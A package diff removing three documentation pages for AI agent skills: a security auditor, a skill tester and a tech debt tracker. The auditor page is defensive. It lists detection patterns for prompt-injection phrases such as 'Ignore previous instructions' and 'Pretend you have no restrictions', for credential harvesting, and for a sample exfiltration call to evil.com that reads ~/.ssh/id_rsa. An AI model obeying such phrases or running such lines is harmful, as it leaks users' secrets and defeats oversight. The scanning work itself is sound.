aigroup-workflow 1.0.0 → 1.1.0

package/skills/jarvis/engineering-team/docs/skills/engineering/skill-security-auditor.md

@@ -1,173 +0,0 @@
----
-title: "Skill Security Auditor — Agent Skill for Codex & OpenClaw"
-description: "Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2)."
----
-
-# Skill Security Auditor
-
-<div class="page-meta" markdown>
-<span class="meta-badge">:material-rocket-launch: Engineering - POWERFUL</span>
-<span class="meta-badge">:material-identifier: `skill-security-auditor`</span>
-<span class="meta-badge">:material-github: <a href="https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skill-security-auditor/SKILL.md">Source</a></span>
-</div>
-
-<div class="install-banner" markdown>
-<span class="install-label">Install:</span> <code>claude /plugin install engineering-advanced-skills</code>
-</div>
-
-
-Scan and audit AI agent skills for security risks before installation. Produces a
-clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
-
-## Quick Start
-
-```bash
-# Audit a local skill directory
-python3 scripts/skill_security_auditor.py /path/to/skill-name/
-
-# Audit a skill from a git repo
-python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
-
-# Audit with strict mode (any WARN becomes FAIL)
-python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
-
-# Output JSON report
-python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
-```
-
-## What Gets Scanned
-
-### 1. Code Execution Risks (Python/Bash Scripts)
-
-Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
-
-| Category | Patterns Detected | Severity |
-|----------|-------------------|----------|
-| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
-| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
-| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
-| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
-| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
-| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
-| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
-| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
-| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
-
-### 2. Prompt Injection in SKILL.md
-
-Scans SKILL.md and all `.md` reference files for:
-
-| Pattern | Example | Severity |
-|---------|---------|----------|
-| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
-| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
-| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
-| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
-| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
-| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
-
-### 3. Dependency Supply Chain
-
-For skills with `requirements.txt`, `package.json`, or inline `pip install`:
-
-| Check | What It Does | Severity |
-|-------|-------------|----------|
-| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
-| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
-| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
-| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
-| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
-
-### 4. File System & Structure
-
-| Check | What It Does | Severity |
-|-------|-------------|----------|
-| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
-| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
-| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
-| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
-| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
-
-## Audit Workflow
-
-1. **Run the scanner** on the skill directory or repo URL
-2. **Review the report** — findings grouped by severity
-3. **Verdict interpretation:**
-   - **✅ PASS** — No critical or high findings. Safe to install.
-   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
-   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
-4. **Remediation** — each finding includes specific fix guidance
-
-## Reading the Report
-
-```
-╔══════════════════════════════════════════════╗
-║  SKILL SECURITY AUDIT REPORT                ║
-║  Skill: example-skill                        ║
-║  Verdict: ❌ FAIL                            ║
-╠══════════════════════════════════════════════╣
-║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
-╚══════════════════════════════════════════════╝
-
-🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
-   Pattern: eval(user_input)
-   Risk: Arbitrary code execution from untrusted input
-   Fix: Replace eval() with ast.literal_eval() or explicit parsing
-
-🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
-   Pattern: requests.post("https://evil.com/collect", data=results)
-   Risk: Data exfiltration to external server
-   Fix: Remove outbound network calls or verify destination is trusted
-
-🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
-   Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
-   Risk: Reads SSH private key outside skill scope
-   Fix: Remove filesystem access outside skill directory
-
-⚪ INFO [DEPS-UNPIN] requirements.txt:3
-   Pattern: requests>=2.0
-   Risk: Unpinned dependency may introduce vulnerabilities
-   Fix: Pin to specific version: requests==2.31.0
-```
-
-## Advanced Usage
-
-### Audit a Skill from Git Before Cloning
-
-```bash
-# Clone to temp dir, audit, then clean up
-python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
-```
-
-### CI/CD Integration
-
-```yaml
-# GitHub Actions step
-- name: "audit-skill-security"
-  run: |
-    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
-    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
-```
-
-### Batch Audit
-
-```bash
-# Audit all skills in a directory
-for skill in skills/*/; do
-  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
-done
-```
-
-## Threat Model Reference
-
-For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skill-security-auditor/references/threat-model.md).
-
-## Limitations
-
-- Cannot detect logic bombs or time-delayed payloads with certainty
-- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
-- Network destination reputation checks require internet access
-- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
-- Dependency vulnerability checks use local pattern matching, not live CVE databases
-
-When in doubt after an audit, **don't install**. Ask the skill author for clarification.

package/skills/jarvis/engineering-team/docs/skills/engineering/skill-tester.md

@@ -1,398 +0,0 @@
----
-title: "Skill Tester — Agent Skill for Codex & OpenClaw"
-description: "Skill Tester. Agent skill for Claude Code, Codex CLI, Gemini CLI, OpenClaw."
----
-
-# Skill Tester
-
-<div class="page-meta" markdown>
-<span class="meta-badge">:material-rocket-launch: Engineering - POWERFUL</span>
-<span class="meta-badge">:material-identifier: `skill-tester`</span>
-<span class="meta-badge">:material-github: <a href="https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skill-tester/SKILL.md">Source</a></span>
-</div>
-
-<div class="install-banner" markdown>
-<span class="install-label">Install:</span> <code>claude /plugin install engineering-advanced-skills</code>
-</div>
-
-**Name**: skill-tester
-**Tier**: POWERFUL
-**Category**: Engineering Quality Assurance
-**Dependencies**: None (Python Standard Library Only)
-**Author**: Claude Skills Engineering Team
-**Version**: 1.0.0
-**Last Updated**: 2026-02-16
-
----
-
-## Description
-
-The Skill Tester is a comprehensive meta-skill designed to validate, test, and score the quality of skills within the claude-skills ecosystem. This powerful quality assurance tool ensures that all skills meet the rigorous standards required for BASIC, STANDARD, and POWERFUL tier classifications through automated validation, testing, and scoring mechanisms.
-
-As the gatekeeping system for skill quality, this meta-skill provides three core capabilities:
-1. **Structure Validation** - Ensures skills conform to required directory structures, file formats, and documentation standards
-2. **Script Testing** - Validates Python scripts for syntax, imports, functionality, and output format compliance  
-3. **Quality Scoring** - Provides comprehensive quality assessment across multiple dimensions with letter grades and improvement recommendations
-
-This skill is essential for maintaining ecosystem consistency, enabling automated CI/CD integration, and supporting both manual and automated quality assurance workflows. It serves as the foundation for pre-commit hooks, pull request validation, and continuous integration processes that maintain the high-quality standards of the claude-skills repository.
-
-## Core Features
-
-### Comprehensive Skill Validation
-- **Structure Compliance**: Validates directory structure, required files (SKILL.md, README.md, scripts/, references/, assets/, expected_outputs/)
-- **Documentation Standards**: Checks SKILL.md frontmatter, section completeness, minimum line counts per tier
-- **File Format Validation**: Ensures proper Markdown formatting, YAML frontmatter syntax, and file naming conventions
-
-### Advanced Script Testing
-- **Syntax Validation**: Compiles Python scripts to detect syntax errors before execution
-- **Import Analysis**: Enforces standard library only policy, identifies external dependencies
-- **Runtime Testing**: Executes scripts with sample data, validates argparse implementation, tests --help functionality
-- **Output Format Compliance**: Verifies dual output support (JSON + human-readable), proper error handling
-
-### Multi-Dimensional Quality Scoring
-- **Documentation Quality (25%)**: SKILL.md depth and completeness, README clarity, reference documentation quality
-- **Code Quality (25%)**: Script complexity, error handling robustness, output format consistency, maintainability
-- **Completeness (25%)**: Required directory presence, sample data adequacy, expected output verification
-- **Usability (25%)**: Example clarity, argparse help text quality, installation simplicity, user experience
-
-### Tier Classification System
-Automatically classifies skills based on complexity and functionality:
-
-#### BASIC Tier Requirements
-- Minimum 100 lines in SKILL.md
-- At least 1 Python script (100-300 LOC)
-- Basic argparse implementation
-- Simple input/output handling
-- Essential documentation coverage
-
-#### STANDARD Tier Requirements  
-- Minimum 200 lines in SKILL.md
-- 1-2 Python scripts (300-500 LOC each)
-- Advanced argparse with subcommands
-- JSON + text output formats
-- Comprehensive examples and references
-- Error handling and edge case management
-
-#### POWERFUL Tier Requirements
-- Minimum 300 lines in SKILL.md
-- 2-3 Python scripts (500-800 LOC each)
-- Complex argparse with multiple modes
-- Sophisticated output formatting and validation
-- Extensive documentation and reference materials
-- Advanced error handling and recovery mechanisms
-- CI/CD integration capabilities
-
-## Architecture & Design
-
-### Modular Design Philosophy
-The skill-tester follows a modular architecture where each component serves a specific validation purpose:
-
-- **skill_validator.py**: Core structural and documentation validation engine
-- **script_tester.py**: Runtime testing and execution validation framework  
-- **quality_scorer.py**: Multi-dimensional quality assessment and scoring system
-
-### Standards Enforcement
-All validation is performed against well-defined standards documented in the references/ directory:
-- **Skill Structure Specification**: Defines mandatory and optional components
-- **Tier Requirements Matrix**: Detailed requirements for each skill tier
-- **Quality Scoring Rubric**: Comprehensive scoring methodology and weightings
-
-### Integration Capabilities
-Designed for seamless integration into existing development workflows:
-- **Pre-commit Hooks**: Prevents substandard skills from being committed
-- **CI/CD Pipelines**: Automated quality gates in pull request workflows
-- **Manual Validation**: Interactive command-line tools for development-time validation
-- **Batch Processing**: Bulk validation and scoring of existing skill repositories
-
-## Implementation Details
-
-### skill_validator.py Core Functions
-```python
-# Primary validation workflow
-validate_skill_structure() -> ValidationReport
-check_skill_md_compliance() -> DocumentationReport  
-validate_python_scripts() -> ScriptReport
-generate_compliance_score() -> float
-```
-
-Key validation checks include:
-- SKILL.md frontmatter parsing and validation
-- Required section presence (Description, Features, Usage, etc.)
-- Minimum line count enforcement per tier
-- Python script argparse implementation verification
-- Standard library import enforcement
-- Directory structure compliance
-- README.md quality assessment
-
-### script_tester.py Testing Framework
-```python
-# Core testing functions
-syntax_validation() -> SyntaxReport
-import_validation() -> ImportReport
-runtime_testing() -> RuntimeReport
-output_format_validation() -> OutputReport
-```
-
-Testing capabilities encompass:
-- Python AST-based syntax validation
-- Import statement analysis and external dependency detection
-- Controlled script execution with timeout protection
-- Argparse --help functionality verification
-- Sample data processing and output validation
-- Expected output comparison and difference reporting
-
-### quality_scorer.py Scoring System
-```python
-# Multi-dimensional scoring
-score_documentation() -> float  # 25% weight
-score_code_quality() -> float   # 25% weight
-score_completeness() -> float   # 25% weight
-score_usability() -> float      # 25% weight
-calculate_overall_grade() -> str # A-F grade
-```
-
-Scoring dimensions include:
-- **Documentation**: Completeness, clarity, examples, reference quality
-- **Code Quality**: Complexity, maintainability, error handling, output consistency
-- **Completeness**: Required files, sample data, expected outputs, test coverage  
-- **Usability**: Help text quality, example clarity, installation simplicity
-
-## Usage Scenarios
-
-### Development Workflow Integration
-```bash
-# Pre-commit hook validation
-skill_validator.py path/to/skill --tier POWERFUL --json
-
-# Comprehensive skill testing
-script_tester.py path/to/skill --timeout 30 --sample-data
-
-# Quality assessment and scoring
-quality_scorer.py path/to/skill --detailed --recommendations
-```
-
-### CI/CD Pipeline Integration
-```yaml
-# GitHub Actions workflow example
-- name: "validate-skill-quality"
-  run: |
-    python skill_validator.py engineering/${{ matrix.skill }} --json | tee validation.json
-    python script_tester.py engineering/${{ matrix.skill }} | tee testing.json
-    python quality_scorer.py engineering/${{ matrix.skill }} --json | tee scoring.json
-```
-
-### Batch Repository Analysis
-```bash
-# Validate all skills in repository
-find engineering/ -type d -maxdepth 1 | xargs -I {} skill_validator.py {}
-
-# Generate repository quality report
-quality_scorer.py engineering/ --batch --output-format json > repo_quality.json
-```
-
-## Output Formats & Reporting
-
-### Dual Output Support
-All tools provide both human-readable and machine-parseable output:
-
-#### Human-Readable Format
-```
-=== SKILL VALIDATION REPORT ===
-Skill: engineering/example-skill
-Tier: STANDARD
-Overall Score: 85/100 (B)
-
-Structure Validation: ✓ PASS
-├─ SKILL.md: ✓ EXISTS (247 lines)
-├─ README.md: ✓ EXISTS  
-├─ scripts/: ✓ EXISTS (2 files)
-└─ references/: ⚠ MISSING (recommended)
-
-Documentation Quality: 22/25 (88%)
-Code Quality: 20/25 (80%)
-Completeness: 18/25 (72%)
-Usability: 21/25 (84%)
-
-Recommendations:
-• Add references/ directory with documentation
-• Improve error handling in main.py
-• Include more comprehensive examples
-```
-
-#### JSON Format
-```json
-{
-  "skill_path": "engineering/example-skill",
-  "timestamp": "2026-02-16T16:41:00Z",
-  "validation_results": {
-    "structure_compliance": {
-      "score": 0.95,
-      "checks": {
-        "skill_md_exists": true,
-        "readme_exists": true,
-        "scripts_directory": true,
-        "references_directory": false
-      }
-    },
-    "overall_score": 85,
-    "letter_grade": "B",
-    "tier_recommendation": "STANDARD",
-    "improvement_suggestions": [
-      "Add references/ directory",
-      "Improve error handling",
-      "Include comprehensive examples"
-    ]
-  }
-}
-```
-
-## Quality Assurance Standards
-
-### Code Quality Requirements
-- **Standard Library Only**: No external dependencies (pip packages)
-- **Error Handling**: Comprehensive exception handling with meaningful error messages
-- **Output Consistency**: Standardized JSON schema and human-readable formatting
-- **Performance**: Efficient validation algorithms with reasonable execution time
-- **Maintainability**: Clear code structure, comprehensive docstrings, type hints where appropriate
-
-### Testing Standards  
-- **Self-Testing**: The skill-tester validates itself (meta-validation)
-- **Sample Data Coverage**: Comprehensive test cases covering edge cases and error conditions
-- **Expected Output Verification**: All sample runs produce verifiable, reproducible outputs
-- **Timeout Protection**: Safe execution of potentially problematic scripts with timeout limits
-
-### Documentation Standards
-- **Comprehensive Coverage**: All functions, classes, and modules documented
-- **Usage Examples**: Clear, practical examples for all use cases
-- **Integration Guides**: Step-by-step CI/CD and workflow integration instructions
-- **Reference Materials**: Complete specification documents for standards and requirements
-
-## Integration Examples
-
-### Pre-Commit Hook Setup
-```bash
-#!/bin/bash
-# .git/hooks/pre-commit
-echo "Running skill validation..."
-python engineering/skill-tester/scripts/skill_validator.py engineering/new-skill --tier STANDARD
-if [ $? -ne 0 ]; then
-    echo "Skill validation failed. Commit blocked."
-    exit 1
-fi
-echo "Validation passed. Proceeding with commit."
-```
-
-### GitHub Actions Workflow
-```yaml
-name: "skill-quality-gate"
-on:
-  pull_request:
-    paths: ['engineering/**']
-
-jobs:
-  validate-skills:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v3
-      - name: "setup-python"
-        uses: actions/setup-python@v4
-        with:
-          python-version: '3.11'
-      - name: "validate-changed-skills"
-        run: |
-          changed_skills=$(git diff --name-only ${{ github.event.before }} | grep -E '^engineering/[^/]+/' | cut -d'/' -f1-2 | sort -u)
-          for skill in $changed_skills; do
-            echo "Validating $skill..."
-            python engineering/skill-tester/scripts/skill_validator.py $skill --json
-            python engineering/skill-tester/scripts/script_tester.py $skill
-            python engineering/skill-tester/scripts/quality_scorer.py $skill --minimum-score 75
-          done
-```
-
-### Continuous Quality Monitoring
-```bash
-#!/bin/bash
-# Daily quality report generation
-echo "Generating daily skill quality report..."
-timestamp=$(date +"%Y-%m-%d")
-python engineering/skill-tester/scripts/quality_scorer.py engineering/ \
-  --batch --json > "reports/quality_report_${timestamp}.json"
-
-echo "Quality trends analysis..."
-python engineering/skill-tester/scripts/trend_analyzer.py reports/ \
-  --days 30 > "reports/quality_trends_${timestamp}.md"
-```
-
-## Performance & Scalability
-
-### Execution Performance
-- **Fast Validation**: Structure validation completes in <1 second per skill
-- **Efficient Testing**: Script testing with timeout protection (configurable, default 30s)
-- **Batch Processing**: Optimized for repository-wide analysis with parallel processing support
-- **Memory Efficiency**: Minimal memory footprint for large-scale repository analysis
-
-### Scalability Considerations
-- **Repository Size**: Designed to handle repositories with 100+ skills
-- **Concurrent Execution**: Thread-safe implementation supports parallel validation
-- **Resource Management**: Automatic cleanup of temporary files and subprocess resources
-- **Configuration Flexibility**: Configurable timeouts, memory limits, and validation strictness
-
-## Security & Safety
-
-### Safe Execution Environment
-- **Sandboxed Testing**: Scripts execute in controlled environment with timeout protection
-- **Resource Limits**: Memory and CPU usage monitoring to prevent resource exhaustion
-- **Input Validation**: All inputs sanitized and validated before processing
-- **No Network Access**: Offline operation ensures no external dependencies or network calls
-
-### Security Best Practices
-- **No Code Injection**: Static analysis only, no dynamic code generation
-- **Path Traversal Protection**: Secure file system access with path validation
-- **Minimal Privileges**: Operates with minimal required file system permissions
-- **Audit Logging**: Comprehensive logging for security monitoring and troubleshooting
-
-## Troubleshooting & Support
-
-### Common Issues & Solutions
-
-#### Validation Failures
-- **Missing Files**: Check directory structure against tier requirements
-- **Import Errors**: Ensure only standard library imports are used
-- **Documentation Issues**: Verify SKILL.md frontmatter and section completeness
-
-#### Script Testing Problems  
-- **Timeout Errors**: Increase timeout limit or optimize script performance
-- **Execution Failures**: Check script syntax and import statement validity
-- **Output Format Issues**: Ensure proper JSON formatting and dual output support
-
-#### Quality Scoring Discrepancies
-- **Low Scores**: Review scoring rubric and improvement recommendations
-- **Tier Misclassification**: Verify skill complexity against tier requirements
-- **Inconsistent Results**: Check for recent changes in quality standards or scoring weights
-
-### Debugging Support
-- **Verbose Mode**: Detailed logging and execution tracing available
-- **Dry Run Mode**: Validation without execution for debugging purposes
-- **Debug Output**: Comprehensive error reporting with file locations and suggestions
-
-## Future Enhancements
-
-### Planned Features
-- **Machine Learning Quality Prediction**: AI-powered quality assessment using historical data
-- **Performance Benchmarking**: Execution time and resource usage tracking across skills
-- **Dependency Analysis**: Automated detection and validation of skill interdependencies
-- **Quality Trend Analysis**: Historical quality tracking and regression detection
-
-### Integration Roadmap
-- **IDE Plugins**: Real-time validation in popular development environments
-- **Web Dashboard**: Centralized quality monitoring and reporting interface
-- **API Endpoints**: RESTful API for external integration and automation
-- **Notification Systems**: Automated alerts for quality degradation or validation failures
-
-## Conclusion
-
-The Skill Tester represents a critical infrastructure component for maintaining the high-quality standards of the claude-skills ecosystem. By providing comprehensive validation, testing, and scoring capabilities, it ensures that all skills meet or exceed the rigorous requirements for their respective tiers.
-
-This meta-skill not only serves as a quality gate but also as a development tool that guides skill authors toward best practices and helps maintain consistency across the entire repository. Through its integration capabilities and comprehensive reporting, it enables both manual and automated quality assurance workflows that scale with the growing claude-skills ecosystem.
-
-The combination of structural validation, runtime testing, and multi-dimensional quality scoring provides unparalleled visibility into skill quality while maintaining the flexibility needed for diverse skill types and complexity levels. As the claude-skills repository continues to grow, the Skill Tester will remain the cornerstone of quality assurance and ecosystem integrity.

package/skills/jarvis/engineering-team/docs/skills/engineering/tech-debt-tracker.md

@@ -1,104 +0,0 @@
----
-title: "Tech Debt Tracker — Agent Skill for Codex & OpenClaw"
-description: "Scan codebases for technical debt, score severity, track trends, and generate prioritized remediation plans. Use when users mention tech debt, code. Agent skill for Claude Code, Codex CLI, Gemini CLI, OpenClaw."
----
-
-# Tech Debt Tracker
-
-<div class="page-meta" markdown>
-<span class="meta-badge">:material-rocket-launch: Engineering - POWERFUL</span>
-<span class="meta-badge">:material-identifier: `tech-debt-tracker`</span>
-<span class="meta-badge">:material-github: <a href="https://github.com/alirezarezvani/claude-skills/tree/main/engineering/tech-debt-tracker/SKILL.md">Source</a></span>
-</div>
-
-<div class="install-banner" markdown>
-<span class="install-label">Install:</span> <code>claude /plugin install engineering-advanced-skills</code>
-</div>
-
-
-**Tier**: POWERFUL 🔥  
-**Category**: Engineering Process Automation  
-**Expertise**: Code Quality, Technical Debt Management, Software Engineering
-
-## Overview
-
-Tech debt is one of the most insidious challenges in software development - it compounds over time, slowing down development velocity, increasing maintenance costs, and reducing code quality. This skill provides a comprehensive framework for identifying, analyzing, prioritizing, and tracking technical debt across codebases.
-
-Tech debt isn't just about messy code - it encompasses architectural shortcuts, missing tests, outdated dependencies, documentation gaps, and infrastructure compromises. Like financial debt, it accrues "interest" through increased development time, higher bug rates, and reduced team velocity.
-
-## What This Skill Provides
-
-This skill offers three interconnected tools that form a complete tech debt management system:
-
-1. **Debt Scanner** - Automatically identifies tech debt signals in your codebase
-2. **Debt Prioritizer** - Analyzes and prioritizes debt items using cost-of-delay frameworks
-3. **Debt Dashboard** - Tracks debt trends over time and provides executive reporting
-
-Together, these tools enable engineering teams to make data-driven decisions about tech debt, balancing new feature development with maintenance work.
-
-## Technical Debt Classification Framework
-→ See references/debt-frameworks.md for details
-
-## Implementation Roadmap
-
-### Phase 1: Foundation (Weeks 1-2)
-1. Set up debt scanning infrastructure
-2. Establish debt taxonomy and scoring criteria
-3. Scan initial codebase and create baseline inventory
-4. Train team on debt identification and reporting
-
-### Phase 2: Process Integration (Weeks 3-4)
-1. Integrate debt tracking into sprint planning
-2. Establish debt budgets and allocation rules
-3. Create stakeholder reporting templates
-4. Set up automated debt scanning in CI/CD
-
-### Phase 3: Optimization (Weeks 5-6)
-1. Refine scoring algorithms based on team feedback
-2. Implement trend analysis and predictive metrics
-3. Create specialized debt reduction initiatives
-4. Establish cross-team debt coordination processes
-
-### Phase 4: Maturity (Ongoing)
-1. Continuous improvement of detection algorithms
-2. Advanced analytics and prediction models
-3. Integration with planning and project management tools
-4. Organization-wide debt management best practices
-
-## Success Criteria
-
-**Quantitative Metrics:**
-- 25% reduction in debt interest rate within 6 months
-- 15% improvement in development velocity
-- 30% reduction in production defects
-- 20% faster code review cycles
-
-**Qualitative Metrics:**
-- Improved developer satisfaction scores
-- Reduced context switching during feature development
-- Faster onboarding for new team members
-- Better predictability in feature delivery timelines
-
-## Common Pitfalls and How to Avoid Them
-
-### 1. Analysis Paralysis
-**Problem**: Spending too much time analyzing debt instead of fixing it.
-**Solution**: Set time limits for analysis, use "good enough" scoring for most items.
-
-### 2. Perfectionism
-**Problem**: Trying to eliminate all debt instead of managing it.
-**Solution**: Focus on high-impact debt, accept that some debt is acceptable.
-
-### 3. Ignoring Business Context
-**Problem**: Prioritizing technical elegance over business value.
-**Solution**: Always tie debt work to business outcomes and customer impact.
-
-### 4. Inconsistent Application
-**Problem**: Some teams adopt practices while others ignore them.
-**Solution**: Make debt tracking part of standard development workflow.
-
-### 5. Tool Over-Engineering
-**Problem**: Building complex debt management systems that nobody uses.
-**Solution**: Start simple, iterate based on actual usage patterns.
-
-Technical debt management is not just about writing better code - it's about creating sustainable development practices that balance short-term delivery pressure with long-term system health. Use these tools and frameworks to make informed decisions about when and how to invest in debt reduction.